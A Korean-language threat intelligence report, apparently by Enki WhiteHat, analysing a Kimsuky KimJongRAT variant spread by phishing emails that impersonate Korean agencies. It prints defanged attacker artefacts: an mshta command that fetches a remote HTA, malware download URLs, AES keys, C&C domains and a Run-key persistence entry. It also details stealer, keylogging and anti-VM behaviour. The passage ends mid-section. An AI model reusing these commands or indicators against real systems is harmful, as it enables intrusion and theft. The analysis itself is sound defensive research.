Go to Top

Go to Top

KimJongRAT 변종 썸네일
KimJongRAT 변종 썸네일
KimJongRAT 변종 썸네일
KimJongRAT 변종 썸네일

위협 인텔리전스

위협 인텔리전스

위협 인텔리전스

Kimsuky KimJongRAT

Kimsuky KimJongRAT

Kimsuky KimJongRAT

엔키화이트햇

엔키화이트햇

2025. 11. 21.

2025. 11. 21.

2025. 11. 21.

Content

Content

Content

요약

  • 2010년대부터 KimJongRAT 악성코드의 변종이 꾸준히 발견되었다.

  • 피싱 메일로 유포된 악성코드가 실행되면 시스템, 브라우저 정보 등 피해자의 민감 정보가 모듈형 악성코드에 의해 유출된다.

  • Chromium 계열 브라우저의 마스터키를 추출해 브라우저 민감 정보 복호화에 이용한다.

  • 공격자의 깃허브 및 드라이브 인프라를 통해 악성코드의 변종을 신속히 추적할 수 있었다.

  • 같은 공격자가 전개한 다른 유형의 공격 이메일 및 관련 인프라를 발견했다.

1. 개요

2010년대부터 사용된 KimJongRAT 악성코드가 현재까지 지속적으로 발견되고 있다. KimJongRAT는 2013년 처음 명명된 이후 북한 배후 공격 그룹인 Kimsuky와 연관성이 다수 보고된 악성코드이다.

최근 공격자는 PE 파일과 파워쉘, 두 종류의 악성코드를 유포하는 공격에 정보 탈취 로직만 존재하고, C&C 통신 로직은 제외된 KimJongRAT 변종을 사용하였다. 엔키화이트햇 위협연구팀은 이 위협을 지속적으로 추적하여 새로운 인프라와 동일한 공격자가 전개한 또 다른 위협을 식별하였다.

추적 과정에서 여러 이메일을 확보할 수 있었고, 공격자는 사회공학적 전략을 이용하여 악성코드 실행을 유도하였다. 공격자는 GitHub를 악용해 악성코드를 유포했으며, 사전에 정의한 조건에 따라 PE 실행 파일 또는 PowerShell 스크립트 형태의 페이로드를 선택적으로 다운로드해 실행하는 전략이 확인되었다.

공격자 활동 개요도

caption - 공격자 활동 개요도

2. 배경

2.1. KimJongRAT

KimJongRAT는 2013년 malware.lu의 보고서에서 처음 명명되었으며, 각종 브라우저와 시스템 정보를 수집해 C&C로 전송한다. 보고서에서 북한 배후 공격 그룹과 연계되었을 가능성으로 제기된 내용은 다음과 같다.

  1. pdf 파일에 기록된 작성자 이름이 김정은 형제들 이름이다.

  2. 리소스 영역 언어 정보가 한국어이다.

  3. Gmail 로그인 시 비밀번호 질문이 한국어로 작성되어 있다.

2.2. KimJongRAT 변종과 Kimsuky의 연관성

2019년에는 북한 관련 미끼 문서가 포함된 BabyShark 캠페인과 KimJongRAT의 관련성이 식별되었다. Unit42의 보고서에 따르면, BabyShark 악성코드가 사용하는 파일 경로가 KimJongRAT와 동일하고, 공격자가 BabyShark 악성코드를 테스트 할 때 새로 컴파일 된 KimJongRAT가 포함되어 있었다. BabyShark는 이후 Kimsuky와의 연관성이 다수 보고된 캠페인으로 널리 알려졌다.

Unit42의 최근 보고서에서는 PE 파일과 파워쉘 악성코드를 실행하는 KimJongRAT 변종이 공개되었다. PE 파일을 실행하는 KimJongRAT 변종에서 확인된 PDB 경로는, 2019년 ESTSecurity 보고서에서 언급된 Operation Giant Baby 캠페인 악성코드 PDB 경로(Covaware)와 연관성이 존재한다.

Operation Giant Baby 캠페인 악성코드는 export 함수, dll 이름 등 과거 Kimsuky의 공격 사례와의 공통점이 다수 언급된 2018년 ESTSecurity의 보고서의 Operation Baby Coin 캠페인 시리즈이다. ESTSecurity는 해당 캠페인을 앞서 언급한 BabyShark 캠페인과 같은 유형으로 분류하였다.

3. KimJongRAT 변종 공격 분석

악성코드 유포 단계 개요도

caption - 악성코드 유포 단계 개요도

3.1. 초기 접근 및 악성코드 유포

3.1.1 이메일 & LNK

확인된 피싱 이메일은 국내 공공기관인 여성가족부와 국세청을 사칭하였고, 임박한 인증 기한을 강조해 피해자가 링크를 클릭하도록 유도한다. 두 메일 모두 오픈소스 SMTP 라이브러리인 PHPMailer를 이용해 발송되었다.

여성가족부 사칭 피싱 이메일

caption - 여성가족부 사칭 피싱 이메일

국세청 사칭 피싱 이메일

caption - 국세청 사칭 피싱 이메일

이메일 파일 세부 정보는 아래 표와 같다.

| 이메일 제목 | 발신 이메일 주소 | 발신 IP | PHPMailer 버전 |
| --- | --- | --- | --- |
| [여성가족부]+성범죄자+신상정보+고지+알림 | webmaster@nate.nmailhub[.]com | 61.97.243[.]9 | 6.9.1 |
| [국세청]+회원님께+도착한+고지서를+확인하세요. | ebmaster@nate.pklzd[.]com | 103.249.28[.]34 | 6.9.1

caption - 이메일 파일 세부 정보

"확인하러 가기" 버튼을 누르면 파일을 다운받는데, 먼저 C&C 서버에 접속하고 ru 파라미터 값으로 전달된 깃허브 주소로 리다이렉션되어 파일을 다운받는다. 이때 m 파라미터 값으로 피해자 이메일 주소가 전달된다. 이메일 파일에서 확인한 URL은 아래와 같다.

  • https://natezlx.myvnc[.]com/docs/?ru=https://github.com/microstrategy743/dev/releases/download/v1.0/sexoffender.zip&m=[base64로 인코딩된 피해자 이메일]

  • https://natezlx.myvnc[.]com/docs/?ru=https://github.com/microstrategy743/dev/releases/download/v1.0/tax_bill.zip&m=[base64로 인코딩된 피해자 이메일]

악성코드 유포에 사용된 깃허브 계정 정보는 아래 표와 같다.

| 정보 | 설명 |
| --- | --- |
| microstrategy743 | 깃허브 계정 이름 |
| madeng@svchubsec[.]com | 깃허브 계정에 등록된 이메일

caption - 깃허브 계정 정보

공격자는 로그를 확인할 수 없는 Releases에 악성코드를 업로드하였다. Repogitory에 악성코드를 업로드하면 커밋 로그를 통해 흔적을 확인할 수 있지만 Releases는 흔적을 확인할 수 없다.

microstrategy743 Releases

caption - microstrategy743 Releases

다운로드한 파일은 압축 파일로, 미끼 문서인 "성범죄자 신상정보 고지.pdf" 파일과 악성코드인 "암호.txt.lnk" 파일이 압축되어 있다. 이때 미끼 문서가 "국세 고지서.pdf" 파일인 압축 파일도 존재한다.

압축된 파일 목록

caption - 압축된 파일 목록

과거 버전은 LNK 파일을 PDF로 위장(예: 국제 고지서.pdf.lnk)하였지만 현재는 미끼 문서에 암호를 설정해 "암호.txt.lnk" 파일을 실행하도록 유도한다.

미끼 문서 실행 시 나타나는 암호 입력 창

caption - 미끼 문서 실행 시 나타나는 암호 입력 창

"암호.txt.lnk" 파일을 실행하면 실행되는 명령어는 base64로 인코딩되어 있다.

LECmd 분석 결과

caption - LECmd 분석 결과

명령어를 디코딩하면 mshta를 이용해 페이로드를 실행하는 것을 알 수 있다. 이때 공격자는 한국 URL 단축 서비스를 이용하였다.

  • 디코딩 결과: mshta https://link24[.]kr/HSXrWzV

최종적으로 도달하는 URL

caption - 최종적으로 도달하는 URL

2025년 9월에는 DOC 문서 파일이 공격에 사용되었다. 문서 파일을 실행하면 매크로 허용 버튼을 누르도록 유도하는데, 이때 매크로 허용 시 ShellExecute 매크로에 의해 문서 내부에 포함된 VBScript가 실행된다.

워드 문서 내용

caption - 워드 문서 내용

VBScript는 모든 문자를 ASCII 코드로 변환하고, 10진수와 16진수 연산으로 치환하는 방식의 난독화 기법이 적용되었다. 난독화 해제 스크립트는 "부록 C. Scripts - HTA Deobfuscation"으로 첨부하였다.

난독화 예시

caption - 난독화 예시

난독화된 VBScript는 base64로 인코딩된 파워쉘 스크립트를 powershell -e 옵션으로 실행한다. 분석 당시 “buly[.]kr”의 URL 단축 서비스가 중지되어 다운로드가 이루어지지 않았다. 하지만 공격에 사용된 파일들의 제목과 업로드 시기를 고려하면 깃허브 Releases의 "doc.hta" 파일을 다운받는 것으로 보인다. base64로 디코딩 후 실행되는 명령어는 아래와 같다.

  • mshta https://buly[.]kr/EooX5dX

DOC 파일의 마지막 저장 날짜는 9월 2일이고, 마지막으로 저장한 사람은 "wang"으로 기록되어 있다. 또한 코드 페이지가 한글을 나타내는 "949"로 기록되어 있다.

caption - DOC 문서 정보

3.1.2 HTA 파일

다운로드한 "pw.hta", "doc.hta", "kyc.hta" 파일 데이터는, 앞선 VBScript 난독화 기법과 동일한 방식으로 난독화되어 있다. 분석 결과 모든 HTA 파일은 상위 미끼 문서는 상이하지만 행위는 모두 동일하다.

"pw.hta" 파일이 실행되면, 구글 드라이브에서 미끼 문서의 암호를 기록한 "password.txt"를 다운로드하고, "%temp%" 경로에 저장해 실행한다. 구글 드라이브 문서 소유자는 naver.accounnt.noreply@gmail[.]com으로, 이번 공격에 사용된 모든 구글 드라이브 문서는 해당 계정의 소유이다.

password.txt 다운로드 URL과 미끼 문서 암호는 아래와 같다.

  • URL: https://drive.google[.]com/uc?export=download&id=1kFyBMQdmMvhiu3j9-rTjgV2nVeYGr_fZ

  • 암호: "kfgxl;Y859$#KG4fkdl^&"

문서 열람 시 암호를 입력하면 원본 문서를 확인할 수 있고, 공격자는 성범죄자 고지 정보서, 국세 고지서를 포함해 다양한 미끼 문서를 공격에 활용하였다.

| 악성코드 형식 | 미끼 문서 이름 |
| --- | --- |
| LNK | 성범죄자 신상정보 고지.pdf-n국세 고지서.pdf-nKYC_Form.pdf (KYC_Instructions.docx)-ntax_form.pdf (tax_form.docx) |
| DOC | KYC_Form.docx

caption - 악성코드 및 미끼 문서 정보

"password.txt" 파일 실행 이후 "cmd /c sc query WinDefend" 명령어를 실행하는데, 실행 결과에서 "STOPPED" 문자열을 검색해 Windows Defender 서비스의 현재 상태를 확인한다. 이후 서비스 상태에 따라 "v3.log" 또는 "pipe.log" 파일 다운로드 및 AES 복호화 로직으로 분기한다.

"v3.log"는 "v3.hta", "pipe.log"는 "pipe.zip"으로 복호화되며, 각 파일의 세부 정보는 아래 표와 같다.

| 파일 이름 | Windows Defender 상태 | 악성코드 유형 | 다운로드 URL |
| --- | --- | --- | --- |
| v3.log | 중지 | PE | https://drive.google[.]com/uc?export=download&id=12V4yQfKNkeA1W_FIkCpirhSO3dnA52Ni |
| pipe.log | 실행 | Powershell | https://drive.google[.]com/uc?export=download&id=1Mx-A2CPcotb_DDcKmIs9d3DCSjbLwLhM |

caption - 다운로드 파일 세부 정보

복호화에 사용되는 AES Key와 IV는 아래와 같다.

  • AES Key: ftrgmjekglgawkxjynqrwxjvjsydxgjc

  • AES IV: AES IV: rhmrpyihmziwkvln

3.2. PE 유형

PE 파일 유형 실행 개요도

caption - PE 파일 유형 실행 개요도

"v3.hta" 파일은 자기 자신에 포함된 "bPgkTBt0", "TvqQAAMAAA"로 시작하는 문자열을 찾아 각각 base64로 디코딩 후 "%localappdata%\user.txt", "%localappdata%\sys.dll" 파일로 저장한다. 이후 "sys.dll"에서 버전에 따라 다른 이름의 Export 함수를 rundll32로 호출한다.

Base64 인코딩된 데이터

caption - base64로 인코딩된 데이터

3.2.1. sys.dll

공격자는 주로 Themida, UPX, enigma 등 다양한 사용 패커 및 난독화 도구를 "sys.dll"에 적용해 유포하였지만, 원본 바이너리를 공격에 사용한 이력도 확인되었다. 컴파일 날짜가 8월7일인, 패킹이 적용되지 않은 버전의 "sys.dll" 분석 내용을 다룬다. PE 파일 정보는 아래와 같다.

sys.dll PE 정보

caption - sys.dll PE 정보

"sys.dll" 실행 이후 안티 VM 로직이 실행되어 아래 조건 중 하나라도 해당하면 자가 삭제 후 프로세스를 종료한다.

  • "VBoxMiniRdrDN" 디바이스가 존재할 경우

  • 레지스트리 키 "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"가 존재할 경우

  • 레지스트리 키 "HKLM\SYSTEM\HardwareConfig\Current\SystemManufacturer"의 값이 "Microsoft Corporation"인 경우

  • 레지스트리 키 "HKLM\SYSTEM\HardwareConfig\Current\BIOSVendor"의 값이 "Microsoft Corporation"인 경우

  • 레지스트리 키 "HKLM\SYSTEM\HardwareConfig\Current\SystemFamily"의 값이 "Virtual Machine"인 경우

  • 레지스트리 키 "HKLM\SYSTEM\HardwareConfig\Current\SystemProductName"의 값이 "Virtual Machine"인 경우

중복 실행 방지를 위해 뮤텍스를 생성한다. 생성하는 뮤텍스 이름은 아래와 같다.

  • gjurkn

뮤텍스 생성 루틴

caption - 뮤텍스 생성 루틴

"%localappdata%\notepad.log" 파일이 존재하지 않으면 user.txt 파일을 RC4 복호화한다. 모든 RC4 복호화 루틴은 암호화된 파일의 선두 16바이트를 키로 사용해 나머지 데이터를 복호화 한다. RC4 복호화 스크립트는 "부록 C. Scripts - RC4 Decryption"으로 첨부하였다.

user.txt 복호화 루틴

caption - user.txt 복호화 루틴

복호화된 "user.txt"에는 추가 모듈을 다운받을 3개의 구글 드라이브 URL이 존재한다.

| URL | 파일 이름 |
| --- | --- |
| https://drive.google[.]com/uc?export=download&id=1dWsR1EkV_oxaIrJhXiAmmzvJY8SDgNnu | main64.log |
| https://drive.google[.]com/ucexport=download&id=1uhHhgt4EMMhWZr9b94dxll0aphOg7PYi | net64.log |
| https://drive.google[.]com/uc?export=download&id=1_Z9I0D8M31-q7BKp_hs2TuY-kvlQH9D_ | app64.log |

caption - user.txt URL 정보

이후 "app64.log", "net64.log" 순서로 각 파일을 다운로드한 뒤 각각 chrome.exe, 자기 자신에 인젝션해 실행한다. "main64.log" 파일은 "net64.log"의 실행 결과 파일이 생성된 이후에 다운로드하고, 자기 자신에 인젝션해 실행한다.

3.2.2. app64.log

"app64.log" 파일은 첫 번째로 다운로드되는 파일로, Chrome App-Bound Encryption(ABE)에 사용되는 마스터 키 추출 도구이다. "sys.dll"에 의해 다운 받아지고 RC4로 복호화된 후, Integrity Level이 Low 또는 Untrusted인 chrome.exe 프로세스에 인젝션되어 실행된다.

app64.log 파일 다운로드 및 인젝션 루틴

caption - app64.log 파일 다운로드 및 인젝션 루틴

복호화된 "app64.log"는 DLL파일로, 빌드 시 포함되는 디버그 데이터 중 하나인 PDB 파일 경로가 남아 있다. 확인된 PDB 파일 경로는 아래와 같다.

  • E:\Test\AppBound\Bin\reflective_dll.pdb

복호화된 app64.log 파일 정보

caption - 복호화된 app64.log 파일 정보

공격자는 깃허브에 공개된 도구를 기반으로 모듈을 제작하였다. 해당 도구는 Chromium 브라우저의 쿠키, 비밀번호, 결제 정보 등의 민감 정보를 추출하는 목적으로 제작되었으며, 보안 소프트웨어의 탐지를 피하기 위해 Reflective DLL Injection 기법을 이용한다. Reflective DLL Injection은 현재 실행중인 프로세스의 메모리에 DLL을 새로 매핑하고 Import Table을 재구축한 뒤 매핑된 DLL을 실행하는 기법이다.

ChromElevator (브라우저 민감 정보 복호화 도구)

caption - ChromElevator (브라우저 민감 정보 복호화 도구)

인젝션 이후 가장 먼저 실행되는 ReflectiveLoader 함수는 kernel32, ntdll의 베이스 및 필요한 API의 주소를 자체 ROR 해시값과 비교하며 탐색한다. 확보한 API 주소를 이용해 새로 할당한 메모리에 dll을 직접 로드한 후 DllMain 함수를 호출한다.

DLL 베이스 탐색 로직 - 좌) app64.log, 우) ChromElevator

caption - DLL 베이스 탐색 로직 - 좌) app64.log, 우) ChromElevator

이후 각 브라우저에 해당되는 Local State 파일에서 암호화된 마스터 키를 추출한다. Chromium 계열 브라우저는 각종 민감 정보 암호화에 사용되는 마스터 키를 Local State 파일에 Windows DPAPI 암호화 및 base64로 인코딩해 저장한다. 악성코드는 브라우저 로컬 COM 서버의 복호화 메소드를 이용해 마스터키를 복원한다.

caption - COM 클라이언트 세션 설정 로직 - 상) app64.log, 하) ChromElevator

복원된 마스터 키는 브라우저에 따라 "%temp%\cc_appkey" 또는 "%temp%\ee_appkey" 파일로 저장된다. 공개 도구는 마스터 키를 이용한 민감 정보 복호화까지 진행하지만, 공격자는 마스터키 복원 부분까지만 활용해 모듈을 제작하였다.

3.2.3. net64.log

"net64.log" 파일은 RC4로 복호화되어 메모리에서 실행된다. "net64.log"는 KimJongRAT의 인포스틸러 코드를 변형해 제작되었으며, 시스템에서 각종 민감 데이터를 수집하는 기능을 한다.

net64.log 다운로드 및 실행 루틴

caption - net64.log 다운로드 및 실행 루틴

복호화된 "net64.log"은 DLL 파일이고, UPX로 패킹되어 있다.

caption - 복호화된 net64.log 파일 정보

API 호출 방식은 난독화된 API 이름을 복원한 뒤, GetProcAddress 리턴 값을 전역 변수에 저장한다. 이후 악성코드는 전역 변수에 저장한 주소를 호출한다.

API 이름 난독화 해제 및 로드 루틴

caption - API 이름 난독화 해제 및 로드 루틴

API 이름 난독화는 단일 치환 암호 방식으로 구현되었으며, 모든 문자열이 동일한 치환 테이블을 공유한다. 문자열 치환에 사용한 스크립트는 "부록 C. Scripts - String Deobfucation"으로 첨부하였다.

시스템 정보 수집

시스템 정보 수집 시에는 "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion"의 CurrentVersion값으로 윈도우 버전을 조회하여 버전에 대응하는 적절한 레지스트리에 접근한다. 이때 "[system]"을 식별자로 사용하며, 각 버전에 따라 접근하는 레지스트리 경로는 아래 표와 같다.

| 레지스트리  | Windows 8.1 이상 | Windows 8.1 이전 |
| --- | --- | --- |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentMajorVersionNumber | O | X |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentMinorVersionNumber | O | X |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentBuildNumber | O | O |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UBR | O | X |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName | O | O |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CSDVersion | X | O

caption - 시스템 정보 수집 시 접근하는 레지스트리 경로

추가로 GetVersionExA, GetSystemInfo, GetSystemMetrics API와 "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions\ProductType" 레지스트리 값을 이용해 Windows 버전을 확인한다. 이후 GetCPUInfo 함수에서 cpuid 명령어로 CPU 이름까지 수집하면 시스템 정보 수집이 완료된다.

시스템 정보 수집 루틴

caption - 시스템 정보 수집 루틴

프로세스 정보 수집

전체 프로세스 목록을 조회한 뒤, system 계정 소유의 프로세스를 제외한 전체 프로세스 목록 및 소유 사용자 정보를 수집한다. 이때 "[process]"를 식별자로 사용한다.

프로세스 정보 수집 루틴

caption - 프로세스 정보 수집 루틴

설치된 소프트웨어 정보 수집

공용 및 사용자 시작 메뉴의 %Programs% 디렉토리를 탐색하며 하위 디렉토리 이름과 lnk 확장자인 파일 이름을 저장한다. 이때 Accessories, Games, Administrative Tools, Startup 디렉토리는 제외되며, "[programs]"를 식별자로 사용한다.

설치된 소프트웨어 정보 수집 루틴

caption - 설치된 소프트웨어 정보 수집 루틴

메일 계정 정보 수집

메일 종류별로 알맞은 레지스트리 값을 조회해 계정 및 프로필 정보를 수집하며, FTP 클라이언트인 FileZila 데이터까지 수집한다. "[mails]"를 식별자로 사용하며, 계정 및 프로필 정보 수집 대상은 아래와 같다.

  • Outlook

  • IncrediMail

  • Thunderbird

  • GroupMail

  • FileZilla

메일 계정 정보 수집 루틴

caption - 메일 계정 정보 수집 루틴

브라우저 정보 수집

브라우저 종류별로 민감 정보 파일을 수집해 각 웹 서비스 별로 저장된 로그인 정보를 복호화 및 저장한다. 이후 하드코딩된 sql 쿼리를 이용해 수집한 파일에서 로그인 정보를 추출한다. 로그인 정보 복호화 시 새로 추가된 “app64.log”가 추출한 마스터키가 아닌 “net64.log” 내부에서 CryptUnprotectData API를 이용해 복원한 마스터키를 사용한다. 이때 "[web]"을 식별자로 사용하며, 저장하는 로그인 데이터는 아래와 같다.

  • 로그인 URL

  • ID

  • 복호화된 Password

  • 브라우저 종류

  • 로그인 정보 저장 시기

브라우저 정보 수집 루틴

caption - 브라우저 정보 수집 루틴

브라우저 별 쿠키 정보도 함께 수집된다. Chrome, Edge, Whale, Firefox의 쿠키 데이터를 추출해 전체 개수와 함께 저장한다. 쿠키 정보 추출 시에도 하드코딩된 sql 쿼리를 이용하며, "[Cookies]"를 식별자로 사용한다.

추가 파일 수집 및 압축

"nsv" 문자열을 접두사로 임시 디렉토리를 생성해 아래 데이터를 모두 넣고 micro.log.zip으로 압축한다.

  • micro.log (net64.log가 이 시점까지 수집한 모든 정보)

  • Chromium 기반 브라우저의 민감 정보 파일 원본

  • Exodus/Telegram/Discord 민감 정보 파일 원본

  • GPKI & NPKI 파일

  • ext.log (모든 브라우저의 확장 프로그램 ID 목록)

추가 파일 수집 루틴

caption - 추가 파일 수집 루틴

3.2.4. main64.log

"sys.dll"은 "net64.log"에 의해 "micro.log.zip" 파일이 생성될 때까지 "Sleep(1000)"을 반복하며 대기한다. "micro.log.zip" 파일이 생성되면 구글 드라이브에서 "main64.log" 파일을 다운로드한 뒤 RC4로 복호화해 메모리에서 실행한다.

main64.log 다운로드 및 실행 루틴

caption - main64.log 다운로드 및 실행 루틴

"main64.log"는 패킹되지 않았고, "sys.dll" 파일과 컴파일 메타데이터가 동일하다. 이는 두 파일이 동일한 개발 환경에서 빌드된 것으로 보인다.

복호화된 main64.log PE 정보

caption - 복호화된 main64.log PE 정보

메모리에서 실행될 때 우선 기본 설정 및 지속성 확보를 한다. GetVolumeInformationA 함수로 볼륨 시리얼 번호를 조회해 피해자 식별자로 사용한다. 이때 조회에 실패하면 "[컴퓨터 이름]_[유저 이름] " 형식의 문자열을 base64로 인코딩해 식별자로 사용한다. 통신하는 C&C 서버 주소는 아래와 같다.

  • kzloly.nmailhub[.]com

이후 자동 실행 레지스트리를 등록해 재부팅 이후에도 "sys.dll" 파일이 실행되도록 한다.

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\NetService: "rundll32 %localappdata%\sys.dll,s"

자동 실행 레지스트리 등록 루틴

caption - 자동 실행 레지스트리 등록 루틴

"main64.log"는 4개의 스레드를 생성해 아래 행위를 수행한다.

  1. 추가 정보 수집 및 C&C 서버 통신

  2. 클립보드 데이터 수집

  3. 키로깅

  4. 3에서 수집된 로그를 netkey 파일에 추가

C&C 서버 통신

C&C 서버 통신 스레드는 10분 주기로 수집 데이터 업로드, 파일 업로드 및 다운로드, 원격 명령 실행, 악성코드 업데이트를 수행한다.

파일 업로드 시 0xFE로 전체 파일을 XOR해 "%temp%\[파일 이름]_" 형태로 저장하고 C&C 서버로 전송한다. 이때 앞서 설정한 피해자 식별자를 id 값으로, 전송할 파일을 file0 바이너리 파일로 포함시켜 C&C 서버의 루트 디렉토리로 Multipart POST 요청을 보낸다. 예외적으로 "netkey”"파일은 전송할 파일을 val 데이터로 포함해 일반 POST 요청을 전송한다.

XOR 암호화 루틴

caption - XOR 암호화 루틴

업로드된 파일은 C&C 서버에 "/[피해자 식별자]/[파일 이름]"으로 저장되어 해당 경로에 대한 직접적인 요청 및 응답 확인으로 업로드 성공 여부를 확인한다. 업로드되는 파일과 정보는 아래 표와 같다.

| 파일 이름 | 정보 |
| --- | --- |
| micro.log.zip | net64.log가 수집한 모든 정보 |
| history.log | main64.log가 수집한 시스템, 운영체제, 컴퓨터 정보 |
| netlist.log | main64.log가 수집한 확장 프로그램 파일 시스템 정보 |
| netkey | 키로그 클립보드 데이터

caption - 업로드 파일 정보

"history.log" 파일은 "main64.log" 모듈이 아래 시스템 정보를 수집해 생성한다.

  • IP

  • 컴퓨터 이름

  • 사용자 이름

  • 드라이브 정보

  • 운영체제 정보

  • 설치된 소프트웨어 목록

  • CPU 정보

"netlist.log" 파일에는 하드코딩된 cmd 명령어로 수집된 확장 프로그램 ID 목록과 파일 시스템 정보가 저장된다. 명령어는 드라이브를 순회하며 특정 확장자 또는 키워드를 가지는 파일 목록을 작성하고, C 드라이브인 경우extensions 경로의 모든 하위 디렉토리 목록까지 추출한다.

리스팅 대상이 되는 확장자와 키워드는 아래와 같다.

  • 확장자 - hwp, pdf, doc, docx, xls, xlsx, zip, rar, egg, txt, jpg, png, jpeg, alz, ldb, log

  • 키워드 - wallet, UTC--*

C&C 서버와 통신 시에는 특정 엔드포인트마다 요청을 보내고 응답에 따라 여러 동작을 수행한다. "[C&C 도메인]/[피해자 ID]/[엔드포인트]"로 요청이 이루어지고, 모든 응답 데이터는 앞 16바이트를 키로 사용해 RC4 복호화한다. 데이터 수신이 정상적으로 이루어지면 delete 문자열을 전송하는데, 이는 전송된 데이터를 C&C 서버에서 삭제하는 과정으로 추정된다. 요청을 보내는 엔드포인트 정보는 아래 표와 같다.

| 엔드포인트 | 응답 | 특징 |
| --- | --- | --- |
| out | 피해자 PC에서 C&C 서버로 업로드할 파일 경로 |  |
| in | 피해자 PC에 저장할 파일 데이터와 해당 파일이 저장될 로컬 경로 |  "ABCDEFGHIJKLMNOP"저장 경로와 데이터 사이의 구분자로 사용 |
| cmd | 피해자 PC에서 실행될 명령어 | 새로운 cmd 프로세스에 인자로 전달 |
| cok | net 파일 업데이트 데이터 URL |  |
| dir | 디렉토리 리스팅 타겟 경로 | 결과를 "%localappdata%\list.log"저장해 C&C 서버로 전송 |
| tmp64 | notpad.log (main64.log) 파일 업데이트 데이터 URL

caption - 엔드포인트 정보

클립보드 데이터 수집

클립보드 데이터 수집 스레드는 0.05초마다 반복하며 현재 클립보드의 가장 최신 데이터를 수집한다. 확보한 데이터의 자체 ROR 해시값이 이전 데이터의 해시값과 다르면 "%localappdata%\netkey" 파일에 이어 붙인다. 이때 "netkey" 파일의 수정 시간이 바뀌기 때문에, "netkey" 파일의 생성, 접근, 수정 시간을 rundll32의 시간으로 변경한다.

해시 계산 알고리즘은 다음과 같다.

  1. 기본값을 0으로 설정

  2. 현재 해시값에 1을 더해 32bit ROR 13

  3. 현재 문자의 ASCII 값 더하기

  4. 문자열 처음부터 끝까지 2~3 반복

caption - 클립보드 데이터 해시 계산 루틴

키로깅

키로깅 스레드는 0.001초마다 반복하며 입력되는 키는 물론, 띄워진 창 제목이 이전과 다르면 창 제목까지 전역 변수에 저장한다.

caption - 키로깅 루틴

키로그 “netkey” 파일에 추가

10초마다 키로그가 저장된 전역 변수 버퍼를 "%localappdata%\netkey" 파일에 이어 붙인다. 데이터 추가 이후 전역 변수를 초기화하고, "netkey" 파일의 생성, 접근, 수정 시간을 rundll32의 시간으로 변경한다.

caption - 키로그 저장 루틴

3.3. 파워쉘 스크립트 유형

파워쉘 스크립트 유형 실행 개요도

caption - 파워쉘 스크립트 유형 실행 개요도

Windows Defender가 실행 중이면 "pipe.zip" 파일을 다운 받아 최종적으로 파워쉘 스크립트로 제작된 악성코드가 실행된다. "pipe.zip"에는 "1.log", "1.ps1", "1.vbs", "2.log" 총 4개의 파일이 압축되어 있다. 이 중 "1.ps1" 파일에 "-FileName 1.log" 인자를 주어 실행한다.

caption - pipe.zip에 압축된 파일 목록

3.3.1. 1.ps1

"1.ps1"은 FileName 인자로 전달된 파일을 base64로 디코딩해 실행하는 디코더 스크립트이다.

디코딩 및 실행 루틴

caption - 디코딩 및 실행 루틴

3.3.2. 1.log

"1.log" 파일은 메인 악성코드로, 실행 직후 컴퓨터 UUID를 id로 사용해 "%Temp%" 경로에 디렉토리를 생성하고 각종 경로와 C&C 서버 주소를 설정한다. 이후 "%Temp%" 경로에 "pid.txt" 파일을 생성해 중복 실행을 방지한다. 하드코딩된 C&C 서버 주소는 아래와 같다.

  • quemr.mailhubsec[.]com

초기 설정 루틴

caption - 초기 설정 루틴

안티 VM

컴퓨터 제조사 이름에 VMware, Microsoft, VirtualBox가 포함되면 KillMe 함수를 호출해 압축 해제된 모든 파일을 삭제한 뒤 프로세스를 종료한다.

초기 설정 루틴

caption - 안티 VM 루틴

지속성 확보

RegisterTask 함수는 “1.vbs” 파일을 “HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\WindowsSecurityCheck” 레지스트리 값으로 등록해 지속성을 확보한다. “1.vbs”는 현재 작업중인 디렉토리를 "%localappdata%\pipe"로 변경하고 “1.ps1” 스크립트에 “-FileName 1.log” 인자를 주어 실행한다.

지속성 확보 루틴

caption - 지속성 확보 루틴

시스템 정보 수집

Init 함수는 각종 시스템 정보를 수집해 "%Temp%\[UUID]\info.txt" 파일에 저장한다. 이 과정에서 디스크 이름에 Virtual Disk, Virtual HD, VMware, Google PersistentDisk 가 포함되면 KillMe 함수를 호출해 파일 삭제 및 프로세스 종료를 수행한다. 수집하는 정보는 아래와 같다.

  • NPKI, GPKI 디렉토리

  • Admin 여부 및 UAC 설정

  • OS, CPU 정보

  • 디스크, 볼륨 정보

  • 프로세스 목록

  • 설치된 소프트웨어 목록

최근 파일 목록 수집

RecentFiles 함수는 "%AppData%\Microsoft\Windows\Recent" 경로의 바로가기 파일들에 연결된 파일 경로를 모두 추출해 "%Temp%\[UUID]\recent.txt"에 저장한다.

최근 파일 목록 수집 함수

caption - 최근 파일 목록 수집 함수

민감 정보 수집

GetBrowserData 함수는 확장 프로그램, 사용자 프로필, 방문 기록 등 브라우저 종류에 대응되는 각종 민감 정보와 이를 복호화할 수 있는 마스터 키를 수집한다. 수집 대상 브라우저는 Edge, Chrome, Whale, Firefox 이며, 모든 브라우저의 확장 프로그램 목록은 "%Temp%\[UUID]\extensions.txt" 파일에 일괄 기록된다.

1. Edge, Chrome, Whale

"%localappdata%\[브라우저 별 경로]\User Data"에 저장된 정보를 수집해 "%Temp%\[UUID]\" 디렉토리에 저장한다. 데이터 저장 시 파일 이름에서 추출한 브라우저 이름을 접두사로 추가해 출처를 나타낸다. 수집하는 데이터는 아래와 같다.

  • Local State에서 추출 및 복호화된 masterkey

  • 프로필 별 Login Data, Bookmark, Extensions, 암호화폐 지갑 정보

 Edge 민감 데이터 수집 루틴

caption - Edge 민감 데이터 수집 루틴

암호화폐 지갑 정보 추출 시 "{ 확장 ID : 지갑 식별자 }" 형식의 해시 테이블을 생성하고, 키와 디렉토리 이름이 동일하면 해당 디렉토리 하위의 ldb, log 파일을 "%Temp%\[UUID]\[브라우저]_[프로필]_[지갑 식별자]_[파일 이름]"으로 복사한다. 추출 대상이 되는 암호화폐 지갑과 확장 ID는 "부록 B. IOCs - Extension ID"로 첨부하였다.

암호화폐 지갑 정보 추출 루틴

